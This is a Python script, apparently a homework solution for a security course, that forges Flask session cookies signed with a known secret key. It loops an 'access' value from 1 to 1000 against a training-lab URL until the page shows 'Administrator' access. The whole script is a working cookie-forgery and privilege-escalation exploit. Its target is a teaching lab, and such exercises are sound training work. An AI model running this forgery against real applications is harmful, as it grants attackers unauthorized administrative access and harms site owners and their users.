· 4 years ago · Jun 11, 2021, 03:26 PM
1#!/usr/bin/env python
2from flask.sessions import SecureCookieSessionInterface
3from itsdangerous import URLSafeTimedSerializer
4
5import requests
6
7
8class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
9 # Override method
10 # Take secret_key instead of an instance of a Flask app
11 def get_signing_serializer(self, secret_key):
12 if not secret_key:
13 return None
14 signer_kwargs = dict(
15 key_derivation=self.key_derivation,
16 digest_method=self.digest_method
17 )
18 return URLSafeTimedSerializer(secret_key, salt=self.salt,
19 serializer=self.serializer,
20 signer_kwargs=signer_kwargs)
21
22
23def decodeFlaskCookie(secret_key, cookieValue):
24 sscsi = SimpleSecureCookieSessionInterface()
25 signingSerializer = sscsi.get_signing_serializer(secret_key)
26 return signingSerializer.loads(cookieValue)
27
28
29# Keep in mind that flask uses unicode strings for the
30# dictionary keys
31def encodeFlaskCookie(secret_key, cookieDict):
32 sscsi = SimpleSecureCookieSessionInterface()
33 signingSerializer = sscsi.get_signing_serializer(secret_key)
34 return signingSerializer.dumps(cookieDict)
35
36
37if __name__ == '__main__':
38
39 sessionDict = {
40 "access": 1,
41 "secret_keyword": "hawaii",
42 "username": "adam"
43 }
44
45 secret_key = 'super secret string'
46
47 for access_number in range(1, 1001):
48
49 sessionDict["access"] = access_number
50 cookie = encodeFlaskCookie(secret_key, sessionDict)
51
52 custom_cookie_request = requests.get(
53 'https://softuni.secariolabs.com/lecture4/homework/',
54 headers={
55 "Cookie": "session=" + cookie
56 }
57 )
58
59 if "Administrator" in custom_cookie_request.text:
60 print("Admin Access Level: ", access_number)
61 print(custom_cookie_request.text)
62 print("Cookie: ", cookie)
63 break
64 print(custom_cookie_request.text, " -> ", access_number)
65